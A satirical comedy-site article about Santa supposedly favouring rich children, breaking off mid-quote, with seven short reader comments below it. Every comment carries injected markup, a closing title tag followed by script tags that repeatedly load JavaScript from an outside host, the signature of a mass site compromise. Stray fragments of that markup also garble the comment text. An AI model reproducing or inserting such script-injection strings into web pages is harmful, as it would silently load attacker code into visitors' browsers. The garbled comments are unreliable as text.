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Santa Practices Discrimination Against the Poor
by Kris on 12/30/2006 (7)

Friend to all? Not exactly.
While no one outside of Alabama disputes the fact that Santa Clause delivers toys to good girls and boys, recent allegations have arisen once again this Christmas that Santa is more kind to children of well to do families.

"Children of well to do families will often find expensive items like iPods, Playstation 3's, and designer clothing while children of poor families often times receive no more than some used dolls or action figures and maybe a couple loosing lottery tickets," said leading Santa analyst Geoffrey Lion.

This past Christmas, Santa brought 12 year old Bobby Jones, whose parents own the successful chain of blender rental stores Blend-2-Own, a PlayStation 3, Nintendo Wii, a four pound nugget of solid gold, and the entire isle five of the local Toys R Us. In contrast, 10 year old Sally Peterson, whose parents collect pop cans from various garbage receptacles around town, received a pair of used socks, a headless Barbie doll, and a half-drank pint of rum.

The exact reason for this practice, which has been well documented over the past twenty years in a series of post-it notes stuck to the walls of the residence of Mr. Lion, is not fully known but there are a two leading theories, both of which we will now mention.

"It may be that Santa has realized that rich kids are more likely to grow up to be rich, influential citizens," said Lion. "By getting the children in his back pocket now, Santa will have their support should he need it down the road, perhaps for some sort of power-grab where Santa will attempt to take control over an impoverished third-world country or mega-cooperation."

Experts fear that with so many people that could be under his influence in many high ranking positions, Santa could start a worldwide cult to do his bidding, who's evil deeds could range anywhere from delivering toys to good girls and boys to stockpiling nuclear arms for sale to the highest bidder. This cult would likely then drink some sort of poisonous Kool-Aid that would be delicious but also instantly wipe out an entire generation of the world's population.

The second theory is that Santa simple hates poor people. Well, maybe hate is too strong a word since he does still give them presents, but he definitely likes them a lot less.

"Obviously to run the kind of operation that Santa does making toys for the entire world's population of children, he must be very rich," suggested Lions. "And much as how dogs hate beavers or cats hate the Dutch, rich people simply tend to hate poor people."

It may be because many believe people are poor simple because they don't work hard or have crippling gambling/cocaine/glue-sniffing addictions. Or maybe it's the fact that poor people that live on the street and don't shower smell a little rank. Or that they just don't leave out as many cookies for the man in red. No one knows for sure so any speculation on the reason why is valid and the wilder the speculation, the more likely it is to be true.

Santa and his representatives have declined to comment on this issue, choosing to let it fester for another year when he will undoubtedly again slight the poor for reasons we may never know.

"Santa has a long hist


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Comments

1. by Motz on 3/1/2007 4:52:29 PM
Santa gives crack to the poor kids. It's usually hidden in a gift wrapped baggy in their mommies purses. That's often the reason the poor are poor in the first place, you know.n.ru </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by Katy on 3/1/2007 4:52:29 PM
I sent you a message about this on myspace, but I wasn't sure if you'd get it so I'm also leaving something here. Have you thought about selling SmthOp tee-shirts? I could buy the materials wholesale, and make them for a small percentage of the profits At least for the beginning when orders are smaller. I'd need you to either send me some designs or tell me what you want on them and I'll design them.tp: </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by Motz on 3/1/2007 4:52:29 PM
He already is. Tried it 4 years ago, didn't work. Plus, getting money outta Steele? LOL!tp: </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
4. by Katy on 3/1/2007 4:52:29 PM
I can get us a professional photographer to take pictures of the product for free. You can anyone to buy anything if it's potographed well. Besides I already know people who are willing to buy. It's all in the marketingone"> </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
5. by Motz on 3/1/2007 4:52:29 PM
I'm not sure anyone would know who we are. Probably think of the Sade song. Mine and Kris' stories have gotten millions of hits, but from who? I wish I knew more about the demographics who reads them. There are millions of people world wide who read them, but where are they? I have no idea at all. Not even ONE time have I had someone come up to me who knew my name and asked if I were the Mark Motz from smthop.com.<ifr </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
6. by Katy on 3/1/2007 4:52:29 PM
I know you guys have a huge following on Cape Cod. I had an english teacher use an article from here in a lesson once. I plug you guys like crazy.h="0" h </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
7. by Motz on 3/1/2007 4:52:29 PM
I love to hear that. :) </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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